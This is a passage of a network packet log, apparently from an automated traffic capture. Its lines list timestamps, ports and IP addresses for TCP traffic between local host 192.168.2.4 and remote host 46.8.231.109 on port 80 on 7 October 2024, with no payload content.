Oct 7, 2024 03:03:11.442200899 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.442217112 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.442231894 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.442248106 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.442266941 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.442275047 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.442275047 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.442285061 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.442344904 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.442344904 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.442349911 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.442368984 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.442384005 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.442399979 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.442415953 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.442431927 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.442431927 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.442495108 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.442523003 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.442540884 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.442558050 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.442573071 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.442604065 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.442615986 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.442615986 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.442620039 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.442636967 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.442656040 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.442672968 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.442672968 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.442733049 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.442743063 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.442756891 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.442775011 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.442790985 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.442806959 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.442820072 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.442820072 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.442822933 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.442842007 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.442858934 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.442862988 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.442878962 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.442892075 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.442895889 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.442910910 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.442949057 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.442949057 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.442965031 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.442981958 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.443006039 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.443006039 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.443056107 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.443641901 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.443670988 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.443686008 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.443706036 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.443722963 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.443723917 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.443723917 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.443739891 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.443768978 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.443783998 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.443793058 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.443793058 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.443799973 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.443815947 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.443836927 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.443851948 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.443856955 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.443856955 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.443871021 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.443885088 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.443900108 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.443903923 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.443917036 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.443922997 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.443936110 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.443952084 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.443967104 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.443983078 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.443999052 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.444009066 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.444009066 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.444016933 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.444034100 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.444051981 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.444067955 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.444072008 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.444072008 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.444083929 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.444103956 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.444119930 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.444145918 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.444145918 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.444169998 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.444205999 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.444221020 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.444236994 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.444252014 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.444252968 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.444269896 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.444288015 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.444288969 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.444307089 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.444346905 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.444346905 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.444421053 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.444439888 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.444456100 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.444469929 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.444472075 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.444487095 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.444503069 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.444519043 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.444539070 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.444550037 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.444550991 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.444606066 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.444606066 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.444662094 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.444678068 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.444693089 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.444710970 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.444727898 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.444736004 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.444736004 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.444746017 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.444796085 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.444796085 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.444802046 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.444817066 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.444843054 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.444859028 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.444868088 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.444869041 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.444878101 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.444895029 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.444911957 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.444916964 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.444916964 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.445000887 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.445004940 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.445018053 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.445034981 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.445050001 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.445055962 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.445096970 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.445139885 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.445154905 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.445169926 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.445188046 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.445215940 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.445215940 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.445267916 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.445283890 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.445307970 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.445323944 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.445333004 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.445339918 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.445357084 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.445358038 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.445372105 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.445388079 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.445393085 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.445393085 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.445405960 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.445421934 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.445440054 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.445453882 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.445453882 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.445511103 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.445539951 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.445555925 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.445565939 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.445574045 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.445590019 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.445606947 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.445626974 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.445626974 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.445636034 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.445667028 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.445667028 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.445719004 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.484472990 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.484622955 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.484637976 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.484656096 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.484669924 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.484673023 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.484683037 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.484689951 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.484709978 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.484724045 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.484743118 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.484752893 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.484877110 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.532737017 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.532766104 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.532783985 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.532877922 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.532905102 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.532919884 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.532934904 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.532959938 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.532993078 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.533023119 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.533039093 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.533042908 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.533055067 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.533071041 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.533087969 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.533103943 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.533104897 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.533160925 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.533163071 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.533163071 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.533176899 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.533211946 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.533276081 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.533293962 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.533308983 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.533323050 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.533324003 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.533339977 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.533339977 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.533396959 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.533396959 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.533428907 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.533443928 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.533462048 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.533477068 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.533489943 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.533493996 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.533509970 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.533526897 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.533543110 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.533555984 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.533581018 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.533596992 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.533631086 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.533631086 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.533646107 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.533662081 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.533677101 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.533693075 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.533693075 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.533698082 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.533716917 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.533755064 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.533755064 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.533760071 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.533786058 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.533793926 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.533804893 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.533891916 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.533906937 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.533921003 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.533937931 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.533938885 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.533937931 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.533971071 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.533974886 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.533987045 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.534003019 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.534018993 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.534049034 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.534073114 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.534080029 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.534085035 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.534140110 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.534173965 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.534188986 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.534208059 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.534223080 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.534236908 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.534259081 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.534259081 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.534301043 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.534308910 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.534317017 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.534332991 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.534349918 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.534374952 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.534374952 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.534420013 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.534435987 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.534451008 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.534456968 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.534483910 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.534504890 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.534516096 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.534519911 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.534538031 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.534554005 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.534565926 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.534607887 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.534609079 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.534625053 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.534648895 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.534662962 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.534665108 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.534682989 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.534708977 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.534781933 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.534797907 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.534811974 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.534826994 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.534826994 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.534830093 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.534868956 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.534883976 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.534893990 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.534898996 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.534918070 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.534933090 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.534950018 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.534950018 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.534996986 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.535012007 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.535027027 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.535043001 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.535044909 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.535044909 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.535085917 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.535099030 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.535114050 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.535146952 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.535146952 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:11.535202026 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.535229921 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.535243988 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:11.535269022 CEST	49731	80	192.168.2.4	46.8.231.109
